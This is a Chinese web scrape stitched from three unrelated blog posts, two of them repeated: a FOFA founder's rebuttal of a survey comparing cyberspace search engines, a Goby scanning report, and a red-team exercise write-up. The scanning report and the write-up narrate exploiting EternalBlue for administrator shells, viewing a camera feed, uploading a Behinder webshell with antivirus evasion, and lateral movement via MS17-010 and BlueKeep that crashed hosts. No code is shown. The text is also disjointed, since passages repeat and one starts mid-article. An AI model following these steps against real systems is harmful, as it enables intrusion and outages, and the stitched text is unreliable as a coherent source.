实际运营过程中,大家会把不同的端口进行分组,一个端口可以存在不同的扫描集群中,比如一个大端口(覆盖大量ip的端口)可能同时并行的存在不同的端口组策略中,并行地进行扫描。又由于大网的端口扫描一定是随机IP的,一定存在30%的网络抖动的,所以依靠一次完成95%的数据相似度根本就不可能。大家会进行多轮不断的轮询尽可能多的覆盖最新的上线资产,那种尝试用nmap实现端口扫描和协议识别的网络空间测绘技术, 我暂时打一个问号,宣称即快还全还准的,内网可以大网很难。

四)其他一些细节点;

文章中还有一些点可能值得商榷,比如:

– 协议分类和设备分类是否为同一个概念?

– Domain database这一项提到了只分析了top 100万alexa排名域名的censys,没有提域名存量最多的fofa?

– 探针分布的分析维度?

这些细节的点倒无关痛痒,只是大家对权威论文的理解是分析方法应该经得起公示经得起挑战的,如果存在诸多不明确,容易引起误会。

上面提到了这么多,稍微做一些总结。首先毫无疑问,shodan是第一个开拓者,大家或多或少受它的影响,站在老师傅的肩膀上前行。今天老师傅还是老师傅,我们距离它还有十万八千里,无论是基础的投入,还是数据的严谨性,还是历史存量数据的积累和功能的丰富程度等等,国内的平台暂时都还难以望其项背。我们当然是存在弯道超车的可能性的,我们也看到了很多机会,只是在当前阶段,我们任何一家单方面宣布是世界第一,终究会贻笑大方。这不是一个广告时间,而是一个让我们值得深思的时刻,论实战化的能力,我们距离那些对手还是相去甚远,如果真的需要对攻对防,我们的这些储备真的够了吗?

我们要关注各种数据的对比,根据我们这些年对网络空间测绘的理解,网络空间测绘的技术对比维度,应该聚焦于实战,应当包含如下一些:

1.资产总量(历史存续数据、域名数据等)
2.支持的端口和协议
3.搜索和展示字段数
4.数据更新速度(每周、每月)
5.数据准确度(协议、规则等)
6.协议解析深入度
7.产品规则数
8.活跃用户规模

我们呼吁相关的部门能够针对网络空间测绘这一个细分领域给予指导,能够出台相关的技术标准和规范。一切都是为了满足实战化,以及持续性的常态实战化。针对一些概念和名称进行标准化,针对搜索关键字和语法进行规范化,针对数据的存储格式统一化,对于资产的分类和分层也能归一化。进而制定出对应的技术评判标准,最终引导行业步入健康有序的发展,为国家创造更多更好的技术输出。

◆来源:赵武的自留地
◆本文版权归原作者所有,如有侵权请联系我们及时删除

前一段时间,朋友发给我一篇英文文章,说这篇名为《A Survey on Cyberspace Search Engines》的文章里面把几家做网络空间测绘的平台进行了比较。通常我对于这种都不太在意,没有比做让用户认可的技术更重要的事情了,用户都是用脚投票,好用我就来,不好用就走。用户能够感知到你的用心程度,所以不必尝试去证明什么,客户能做判断。尤其还是英文的文章,我不觉得能对99%都是国内用户的fofa平台分析出个什么来,至少目前我还没有精力关注这一块。一直到后来,经过人家提醒,我才发现第一作者是来自国内某权威单位的专家,由此我不得不重视和关注。

在我深入的分析了文章之后,我有两个很清晰的感觉。一是网络空间测绘这个网络安全细分领域的技术,得到了来自权威部门的关注和认可,这对我们这些一直坚持在技术一线的团队和公司来说,是一件非常非常值得开心的事情,这比我们自说自话要有意义得多。由于一直没有特定的行业标准和资质品类,至今类似公司的相关产品申请的销售许可都是往漏洞扫描器去挂靠。如果得到的响应地关注,我们可以预见在不远的将来,行业能够得到更加规范的发展。二是由于这门技术的特殊性(主要还是大家对技术总结的比较少),导致一些非常基础的概念大家都并有能够达成共识,产生了一些理解上非常明显的“偏差”。想了想,我觉得我们还是有责任来总结一些我们的理解,提供一些小小的建议,仅供大家参考。

一)参考链接比较随意,非权威来源,且缺少价值信息;

图片 1.png

根据文章链接内容3(https://www.zoomeye.org/doc?Thechannel=user#d-service),作者尝试说明zoomeye的用户手册中提到了协议来源于nmap-services的描述。点进去页面后却发现并没有任何内容提到这一点,且连nmap字样都看不到。我们姑且认为网站进行了改版,以前的信息看不到了,那么我们思考一个问题,我们可以宣称参考了某个规范,它可以解读为a)我们部分实现了里面的协议;b)我们全部实现了所有协议;官方未必有这个意思,不过文章中显然采信了第二种假设。于是我们做了一个很小的随机抽样测试,随机选择了nmap-services中的50个协议进行确认,zoomeye只实现了其中的11种,这个证伪的过程是比较简单的(具体测试方法,如果相关同事有兴趣,可以联系我们)。从另一个角度,如果以后各网络空间测绘引擎在各自官网都写上,我们的“协议参考了nmap以及wireshark”,这个领域对比是不是就简单了?

文章参考链接的4(https://www.freebuf.com/articles/ics-articles/196647.html),名称叫做《2018年工业控制网络安全态势白皮书》。文章说fofa的协议列表来源于这篇文章,事实上引用的来源文章里面非但完全没有提及fofa,而且来源明确说了信息是根据“东北大学谛听网络安全团队根据“谛听”网络空间工控设备搜索引擎收集的各类安全数据”。这种“张冠李戴”的情况出现在一个严谨的学术论文,实属难以理解。退一万步说,2018年的分析也不能跟另外几家的现在去比较,很简单的逻辑是:仅工业控制协议,Fofa从2018年起都增加了数十个。

基于上面的分析,我们认为数据的参考是不可取的,其实国内各平台应该也愿意配合官方进行标准的制定,如果有权威部门进行汇总整理,由各平台自行保送,加上权威部门的验证确认更合理一点。一定要确认,因为参考了不一定实现了,实现了不一定准确了,准确了不一定全网数据采集全面了。对比就是为了区分不同平台的优劣势,大家选择发力方向不同,结果自然不同。

二)对比的核心维度概念模糊,存在不一致性;

图片 2.png

其中这一张图比较有代表性。我们稍微介绍一下在网络空间测绘领域比较重要的几个基本数据的统计维度:

1)网络资产数:通俗一点就是数据记录条数,技术一点就是用什么作为存储的key键值。不同的平台实现的机制并不一致,比如shodan是按照ip:port存储,fofa和zoomeye是按照host:port存储,360的quake平台是根据ip:port:date存储。因为shodan选择的是只针对ip层面进行分析,所以他们直接放弃了主机域名的分析,一个ip可以对应任意多个域名,在以前的一些文章我已经说明了,为什么用shodan做针对某个企业的互联网暴露面梳理效果比较差。其他平台都采用了网站域名的分析,数据量差别比较大,目前fofa的主机域名数暂时上来说优势还是有一点的。基于host:port的方式会存储两个数据存储:一个叫热数据,比如昨天发现了1.1.1.1:80,今天又发现了,在你热数据中会发生覆盖,只会有一条最新的;另一个叫冷数据或者叫历史数据,大家按名字理解就好。quake平台稍微特殊,由于加入了date作为key,会导致一个ip的一个端口,你可以查询出来多条数据。

2)独立IP数:基于上面的说法,大家就知道,记录数不代表ip数,一个ip开了多个端口,就对应多条记录。大家通常对ip比较理解,所以fofa在你搜索的时候会明确告知你聚合后的ip总数有多少。在shodan,你直接查询一个端口比如port:80它给出来的统计数据其实就是准确的ip个数,其他平台大家可以自行分析方法。在硬件(物联网或者服务器)领域,IP和硬件是一一对应的,但是在软件应用领域,一个IP可以承载任意多个应用,这也就是我们俗称的攻击点。

3)指纹规则数:一条指纹规则简单来说就是能够用于识别某一类设备或者软件的查询语句。这是fofa最先发明的,早期各平台都是内嵌了简单的一些设备识别库,也不提供html等大文本的关键字检索,所以用户无法自定义和保存。fofa一开始的设计理念就是用户更懂场景,所以要放开这种方法,让用户来自定义识别的语法,然后可以保存下来方便后续使用。最初我们叫应用规则库,后来慢慢叫法就多了,有叫指纹库的,也有叫规则集的,还有叫软硬件识别库的。一条指纹可以对应任意多条设备。目前论指纹规则库,fofa还是有一点点的优势的。

4)特定规则集匹配的网络资产数:如上所述,一个规则查询的结果其实就是匹配的网络资产数,所有指纹规则库匹配的网络资产数基本就是全库了。

v2-7af8184c8c078915567919a3a9b86fc7_1440w.png

如果上面说的还是难以理解,我们通过上图这个非常简单的示例来说明:我们尝试搜索互联网中开放的Apache网站服务器数量,我们可以在fofa中检索app=”APACHE-Web-Server”,这时返回的11675万代表了互联网中存在的所有使用了这个服务器的资产数,其中网站和协议是可以有重合的,分别对应7442万和4232万,因为一个80端口在协议中是存在的,但是它可能假设多个域名。独立ip只有2916万,是因为一个ip的apache服务器可以绑定到多个端口。

回到上面的那张对比图,就是一个非常有意思的结果了:shodan对应4亿,zoomeye对应11亿,fofa对应27万。我相信每一条数据作者都是经过思考和挑选的,只是没能梳理清楚,到底是全网的网络资产数,还是独立IP数,还是指纹规则库的数量,以及特定规则集匹配的网络资产数,甚至是可能没有分清是热数据还是包含了历史数据。如果不在一个维度来对比,也就没有太大的参考价值。

另外,值得强调的是,哪怕是在一个维度进行对比,单纯的对比数据也存在很大的误导性,比如shodan只拿出一个月的数据作为热数据,老的数据它都不展示(没覆盖的也不显示),quake是把历史数据也展示出来了,所以实际上你可能很难统计出一个公允的结果。我们要考虑一定时间内数据的获取能力(注意必须要考虑一定时间内),要考虑数据的深入性和准确性(比如协议或者规则)。如果没有这些,就必然出现各大平台玩起了刷数据的游戏,乐此不疲。如果shodan隐藏实力,我们向它学习还是有意义的。

三)数据抽样测试的参考标准存在差异,直接影响了结果;

图片 3.png

这里我必须帮zoomeye说一句话:如果作为互联网使用量最大的http协议一次轮巡需要超过一年时间,基本上这个平台就废了,zoomeye绝对不至于这么不济。censys的周期是对的因为他们的端口数量是最少的所以相对而言周期是最快的,shodan的周期稍微有些偏差,zoomeye和fofa的时间则是存在很大的问题。这几个协议是互联网用的最多的协议的前几名,数量大变化快,能够很好的用户实战体系中,所以各家都比较重视,不会存在不抓取的情况。

在图中出现了“-”说明没有扫描数据,而shodan和censys有,我大胆地推测拿出来的对比测试的IP是以shodan或者censys为主的(这一点我只是个人推测)。由于网络变化太快,一个ip端口上线后快速下线,所以哪怕在一天一次这种极速轮询过程中,一定会出现一些IP刚好只被一个平台抓到,在其他平台都没有抓取到。要举一个反证实在太容易了,比如24.232.7.242这个IP,大家到各平台搜索一下,你会发现这个ip对应的23端口只存在于fofa平台,这仅仅能证明那一天刚好被fofa抓到了,其他平台到它那去的时候23端口已经关闭,但这一定证明不了由此shodan或者censys的扫描频率是“-”。

实际运营过程中,大家会把不同的端口进行分组,一个端口可以存在不同的扫描集群中,比如一个大端口(覆盖大量ip的端口)可能同时并行的存在不同的端口组策略中,并行地进行扫描。又由于大网的端口扫描一定是随机IP的,一定存在30%的网络抖动的,所以依靠一次完成95%的数据相似度根本就不可能。大家会进行多轮不断的轮询尽可能多的覆盖最新的上线资产,那种尝试用nmap实现端口扫描和协议识别的网络空间测绘技术, 我暂时打一个问号,宣称即快还全还准的,内网可以大网很难。

四)其他一些细节点;

文章中还有一些点可能值得商榷,比如:

– 协议分类和设备分类是否为同一个概念?

– Domain database这一项提到了只分析了top 100万alexa排名域名的censys,没有提域名存量最多的fofa?

– 探针分布的分析维度?

这些细节的点倒无关痛痒,只是大家对权威论文的理解是分析方法应该经得起公示经得起挑战的,如果存在诸多不明确,容易引起误会。

上面提到了这么多,稍微做一些总结。首先毫无疑问,shodan是第一个开拓者,大家或多或少受它的影响,站在老师傅的肩膀上前行。今天老师傅还是老师傅,我们距离它还有十万八千里,无论是基础的投入,还是数据的严谨性,还是历史存量数据的积累和功能的丰富程度等等,国内的平台暂时都还难以望其项背。我们当然是存在弯道超车的可能性的,我们也看到了很多机会,只是在当前阶段,我们任何一家单方面宣布是世界第一,终究会贻笑大方。这不是一个广告时间,而是一个让我们值得深思的时刻,论实战化的能力,我们距离那些对手还是相去甚远,如果真的需要对攻对防,我们的这些储备真的够了吗?

我们要关注各种数据的对比,根据我们这些年对网络空间测绘的理解,网络空间测绘的技术对比维度,应该聚焦于实战,应当包含如下一些:

1.资产总量(历史存续数据、域名数据等)
2.支持的端口和协议
3.搜索和展示字段数
4.数据更新速度(每周、每月)
5.数据准确度(协议、规则等)
6.协议解析深入度
7.产品规则数
8.活跃用户规模

我们呼吁相关的部门能够针对网络空间测绘这一个细分领域给予指导,能够出台相关的技术标准和规范。一切都是为了满足实战化,以及持续性的常态实战化。针对一些概念和名称进行标准化,针对搜索关键字和语法进行规范化,针对数据的存储格式统一化,对于资产的分类和分层也能归一化。进而制定出对应的技术评判标准,最终引导行业步入健康有序的发展,为国家创造更多更好的技术输出。

◆来源:赵武的自留地
◆本文版权归原作者所有,如有侵权请联系我们及时删除

youdu图片20210128155118.png

前言:网络安全是云中心运维工作中重要的一项工作。有一家云计算网络公司,在过去的两年里,每年都会发生网络安全事件,给工程师和业务用户造成了不小的麻烦,那么痛定思痛,造成这些事件的原因是什么?如何“亡羊补牢”,确保网络安全呢?

0x001 网络安全体系介绍

图片1.png

1.1 主动防御

主动防御是指采用软硬件设施,主动侦测网络攻击并进行实时拦截,及时制止网络攻击行为。该类设备主要包括防火墙、入侵防御、WAF、防DDoS等。

1.1.1 防火墙

主要部署在网络边界,包括互联网边界和专线边界,主要承载隔离内外网、不同区域网络,以及端口映射等功能,有些防火墙还带有防病毒软件。日常使用中,防火墙要注意如下内容:

  • 精确的防火墙策略

  • 定时更新的防毒墙授权

  • 定期备份防火墙配置文件

1.1.2 入侵防御

主要部署在网络边界,包括互联网边界和专线边界,一般采用透明接入的方式,主要根据漏洞库进行实时识别并根据策略进行相应允许或阻断动作。日常使用中,入侵防御要注意如下内容:

  • 可以将手动禁止的端口和地址采用专用的策略条目进行配置

  • 定时更新入侵防御特征库

  • 定期备份入侵防御配置文件

1.2 被动防御

被动防御是指,采用软硬件设施,针对异常攻击等行为有识别、侦测的功能,但无法实现实时阻断等操作。该类型设备主要包括态势感知、日志审计、人工分析等。

1.2.1 态势感知

主要以旁路的方式部署,通过核心交换机、接入交换机端口流量镜像的方式,将需要分析的流量镜像给态势感知设备,态势感知设备依靠自身分析软件以及攻击识别策略进行识别、侦测并进行日志输出或邮件告警。

1.2.2 日志审计

主要以旁路的方式部署,实时接收网络设备、操作系统的日志并存储,通过自身分析策略输出分析结果。

1.2.3 人工分析

主要通过查看态势感知、日志审计,深入分析网络威胁,并采取相应措施。措施主要包括:通过防火墙、入侵防御封禁攻击源,及时通知用户警惕有可能或已经发生的网络安全事件。

1.3 安全检查

安全检查是指对云中心在产品交付、系统漏洞扫描、安全评估等,从交付前、交付中、交付后等维度,确保各项流程符合规范,保证质量。

经过团队内部梳理,形成保障体系,而“工欲善其事,必先利其器”,好的漏扫就像工兵的扫雷器一样,十分必要。

图片2.png

0x002 实战扫描测试

2.1 办公内网扫描

最早知道Goby是从某地安全部门得知的,专家推荐当然得试用一下了。

我的电脑是Mac,下载后提示权限不足,点击“Permission”然后输入密码就可以直接使用了。扫描速度很快,一会儿工夫一个C段就扫完了,104个资产,66个IP,161个端口,有危险的有3个,其中居然还有永恒之蓝。

关于Goby权限不足解决办法可参考:https://gobies.org/faq.html#CrashesonMacOS

分析扫描结果之后,拿给信息部门看,他们不禁捏了把汗,平常看起来很安全的系统,没想到存在很多隐患。

解决方法:

1.最简单粗暴的方法关闭445端口。

2.打补丁,此漏洞补丁微软在17年就已经发布连接如下:

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010#security-update-for-microsoft-windows-smb-server-4013389

3.安装火绒安全也可以抵御此漏洞攻击。

尝试利用此漏洞,并验证是否修补成功。由于此机器不是重要的应用服务器,尝试利用其学习一下其中原理:

先用kali Linux中msfconsole的smb模块扫描,看看是否能扫描到此漏洞,可以看到此主机是有漏洞的,如下图:

图片3.png

下面一顿操作就不细说了,很容易就可以拿到administrator的cmd操作权限。

图片4.png

打上补丁再试一遍,显示此主机不可操作。

图片5.png

2.2 视频内网扫描

网传摄像头漏洞多,那我们测试下我们的视频内网漏洞。将IP地址段放进扫描目标,一通扫描爆出来5个漏洞,其中有1个海康摄像头漏洞。

点击海康漏洞。

图片6.png

安装插件之后可以进行验证。

图片7.png

可以直接看到摄像头图的照片,并且5秒钟刷新1次。此时心里的感觉是紧张的,要是被黑客进行内网渗透,那么隐私将被泄露。

有没有种仿佛电影大片的feel,黑客将电脑接入企业内网,然后Goby一通扫描,单点进入,内网渗透,数据库被盗或者被勒索等等。

2.3 1-65535

默认的扫描端口是包括一些常见的TCP端口和UDP端口,但是对于很多企业来说,非一般端口用于映射内网服务已是普遍操作,例如12378映射到内网80等,Goby在应对这种情况下也是可以很好的进行端口存活探测、服务存活以及漏洞侦测。 我们只需要在探测端口范围中输入1-65535即可。

图片8.jpg

主要扫描结果包括开放的所有HTTP业务和截图。

图片9.jpg

2.4 DDoS攻击

在一次扫描任务中,为了加快速度,将扫描速率调整成10000。

图片10.png

也是因为这种调整,导致我们的公网掉线了。

经过分析,一般防火墙有三个技术指标,分别是:吞吐量、每秒新建连接数、总在线数。 由于并发量10000,导致防火墙在很短的时间内超过了自身服务能力,最终形成DDoS拒绝服务的现象。停止攻击后,过了几分钟自己也就恢复了。

图片12.png

0x003 总结

网络安全已经越来越被大众所熟知,个人认为一般的扫描系统主要是某辰、某盟等安全厂商生产的硬件产品,软件主要包括Nessus、OpenVAS等,但是要么是需要花钱,要么是安装使用复杂,Goby很好的迎合了目前网络安全漏洞扫描的需求,免费、高效,并且还有灵活的自定义PoC、插件等功能,实在是网络安全从业者的必备工具。

文章来自Goby社区成员:zzlyzq,转载请注明出处。

youdu图片20210128155118.png

前言:网络安全是云中心运维工作中重要的一项工作。有一家云计算网络公司,在过去的两年里,每年都会发生网络安全事件,给工程师和业务用户造成了不小的麻烦,那么痛定思痛,造成这些事件的原因是什么?如何“亡羊补牢”,确保网络安全呢?

0x001 网络安全体系介绍

图片1.png

1.1 主动防御

主动防御是指采用软硬件设施,主动侦测网络攻击并进行实时拦截,及时制止网络攻击行为。该类设备主要包括防火墙、入侵防御、WAF、防DDoS等。

1.1.1 防火墙

主要部署在网络边界,包括互联网边界和专线边界,主要承载隔离内外网、不同区域网络,以及端口映射等功能,有些防火墙还带有防病毒软件。日常使用中,防火墙要注意如下内容:

  • 精确的防火墙策略

  • 定时更新的防毒墙授权

  • 定期备份防火墙配置文件

1.1.2 入侵防御

主要部署在网络边界,包括互联网边界和专线边界,一般采用透明接入的方式,主要根据漏洞库进行实时识别并根据策略进行相应允许或阻断动作。日常使用中,入侵防御要注意如下内容:

  • 可以将手动禁止的端口和地址采用专用的策略条目进行配置

  • 定时更新入侵防御特征库

  • 定期备份入侵防御配置文件

1.2 被动防御

被动防御是指,采用软硬件设施,针对异常攻击等行为有识别、侦测的功能,但无法实现实时阻断等操作。该类型设备主要包括态势感知、日志审计、人工分析等。

1.2.1 态势感知

主要以旁路的方式部署,通过核心交换机、接入交换机端口流量镜像的方式,将需要分析的流量镜像给态势感知设备,态势感知设备依靠自身分析软件以及攻击识别策略进行识别、侦测并进行日志输出或邮件告警。

1.2.2 日志审计

主要以旁路的方式部署,实时接收网络设备、操作系统的日志并存储,通过自身分析策略输出分析结果。

1.2.3 人工分析

主要通过查看态势感知、日志审计,深入分析网络威胁,并采取相应措施。措施主要包括:通过防火墙、入侵防御封禁攻击源,及时通知用户警惕有可能或已经发生的网络安全事件。

1.3 安全检查

安全检查是指对云中心在产品交付、系统漏洞扫描、安全评估等,从交付前、交付中、交付后等维度,确保各项流程符合规范,保证质量。

经过团队内部梳理,形成保障体系,而“工欲善其事,必先利其器”,好的漏扫就像工兵的扫雷器一样,十分必要。

图片2.png

0x002 实战扫描测试

2.1 办公内网扫描

最早知道Goby是从某地安全部门得知的,专家推荐当然得试用一下了。

我的电脑是Mac,下载后提示权限不足,点击“Permission”然后输入密码就可以直接使用了。扫描速度很快,一会儿工夫一个C段就扫完了,104个资产,66个IP,161个端口,有危险的有3个,其中居然还有永恒之蓝。

关于Goby权限不足解决办法可参考:https://gobies.org/faq.html#CrashesonMacOS

分析扫描结果之后,拿给信息部门看,他们不禁捏了把汗,平常看起来很安全的系统,没想到存在很多隐患。

解决方法:

1.最简单粗暴的方法关闭445端口。

2.打补丁,此漏洞补丁微软在17年就已经发布连接如下:

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010#security-update-for-microsoft-windows-smb-server-4013389

3.安装火绒安全也可以抵御此漏洞攻击。

尝试利用此漏洞,并验证是否修补成功。由于此机器不是重要的应用服务器,尝试利用其学习一下其中原理:

先用kali Linux中msfconsole的smb模块扫描,看看是否能扫描到此漏洞,可以看到此主机是有漏洞的,如下图:

图片3.png

下面一顿操作就不细说了,很容易就可以拿到administrator的cmd操作权限。

图片4.png

打上补丁再试一遍,显示此主机不可操作。

图片5.png

2.2 视频内网扫描

网传摄像头漏洞多,那我们测试下我们的视频内网漏洞。将IP地址段放进扫描目标,一通扫描爆出来5个漏洞,其中有1个海康摄像头漏洞。

点击海康漏洞。

图片6.png

安装插件之后可以进行验证。

图片7.png

可以直接看到摄像头图的照片,并且5秒钟刷新1次。此时心里的感觉是紧张的,要是被黑客进行内网渗透,那么隐私将被泄露。

有没有种仿佛电影大片的feel,黑客将电脑接入企业内网,然后Goby一通扫描,单点进入,内网渗透,数据库被盗或者被勒索等等。

2.3 1-65535

默认的扫描端口是包括一些常见的TCP端口和UDP端口,但是对于很多企业来说,非一般端口用于映射内网服务已是普遍操作,例如12378映射到内网80等,Goby在应对这种情况下也是可以很好的进行端口存活探测、服务存活以及漏洞侦测。 我们只需要在探测端口范围中输入1-65535即可。

图片8.jpg

主要扫描结果包括开放的所有HTTP业务和截图。

图片9.jpg

2.4 DDoS攻击

在一次扫描任务中,为了加快速度,将扫描速率调整成10000。

图片10.png

也是因为这种调整,导致我们的公网掉线了。

经过分析,一般防火墙有三个技术指标,分别是:吞吐量、每秒新建连接数、总在线数。 由于并发量10000,导致防火墙在很短的时间内超过了自身服务能力,最终形成DDoS拒绝服务的现象。停止攻击后,过了几分钟自己也就恢复了。

图片12.png

0x003 总结

网络安全已经越来越被大众所熟知,个人认为一般的扫描系统主要是某辰、某盟等安全厂商生产的硬件产品,软件主要包括Nessus、OpenVAS等,但是要么是需要花钱,要么是安装使用复杂,Goby很好的迎合了目前网络安全漏洞扫描的需求,免费、高效,并且还有灵活的自定义PoC、插件等功能,实在是网络安全从业者的必备工具。

文章来自Goby社区成员:zzlyzq,转载请注明出处。

微信图片_20210118145515.png

前言:回顾2020年也是参加了多场“公益赛”,不为别的,小白为了练手,大佬别喷。

0x001 资产收集

在深夜时分,掏出Goby对资产一顿怼。这里推荐使用FOFA插件一键导入目标资产。

1.png

鄙人常用的语法如下:

  • title="beijing"从标题中搜索“北京”

  • header="xx市"从http头中搜索“XX市”

  • domain="http://edu.cn"搜索根域名带有http://edu.cn的网站。

  • body="xxx公司" 从html正文中搜索xxx公司

  • ip="xxx.xxx.xxx.x/24"查询IP为“xxx.xxx.xxx.x”的C网段资产

2.png

0x002 漏洞利用

开局Goby送上一个shiro。

4.png

点击验证按钮,反弹shell。

这里因为主机上有火绒企业版,没弹回来。那就传个冰蝎上免杀,此次篇幅有限就不讲免杀啦。

5.png

0x003 Goby进入目标主机

3.1 Socks代理扫描

拿到DMZ区主机之后(这里提前打探到没有防守厂商),没有防守???那也不怕动静大小了,掏出Goby,挂上代理进内网扫一波。

6.png

Pcap模式:支持协议识别和漏洞扫描,不支持端口扫描;
Socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢,误报率低。

代理使用格式如下:

这里设置socks代理,看了下路由和ARP表,直接扫连通的3个C段。

因为挂着socks,习惯先资产后漏洞,等了20分钟快没耐心了。干脆直接远程下载一个Goby利用Pcap模式岂不是更快捷,反正耳东小姐姐提供的奶牛挺快的。

7.png

3.2 Npcap下载

这里有个坑,下载下来一直报错,原来是没装Npcap。

8.png

安装好之后火绒添加信任区,直接一把梭。

0x004 内网移动

4.1 横向移动

美滋滋,内网7台永恒之蓝,直接横向移动。

9.png

提示:这里如果是使用socks模式扫出来的情况,可以直接调用咱们的MSF插件。

10.png

MSF插件利用的前提是本机需要安装MSF,并且配置好路径。

因为当时在目标机器上没有MSF,这里跳过...

11.png

继续深入,跨网段之后一堆0708,这里打了4台,前三台都蓝屏挂掉了…

拿了隔离分赶紧溜。

12.png

4.2 Web Finder筛选资产

后续就是根据Goby自动整理的Web资产,逐个看一遍刷资产分。

这里得夸一下,自带title,直接就能识别Web有效性,免去二次识别。

13.png

于是乎,一晚上一万分直接用Goby将防守单位打出局。

14.png

0x005 总结

整个流程就是:

1. 前期FOFA插件ip收集。当然,有的主办方会给。

2. 打听好对方有没有防守,这个问销售。如有防守方,那建议只使用资产探测。

3. 找机器撕开口子,死磕,分总会有的,要有耐心。

4. 进入内网抓密码加入字典Goby扫弱口令,找ms-17010、0708。

5.如果都没有那就怼Web站点刷分,不把网段搜完不罢休。

总之,有大洞遇到AV别放弃,赶紧百度,多问,死磕免杀,不然就是50分和1万分的差距。

15.png

有的小伙伴可能对将Goby带进目标机器有疑惑?

不出网机器的提前准备安装包,用mstsc拷贝进去。

16.png

记得勾选剪贴板。能通外网的机器直接下载,有些机器基线做的好,有下载限制,需要修改internet选项。

安装Npcap,目前新版本均会弹出提示页面,点击超链接即可下载。

最后祝各位师傅,开局有漏洞~随手捡通用~

文章来自Goby社区成员:kio ,转载请注明出处。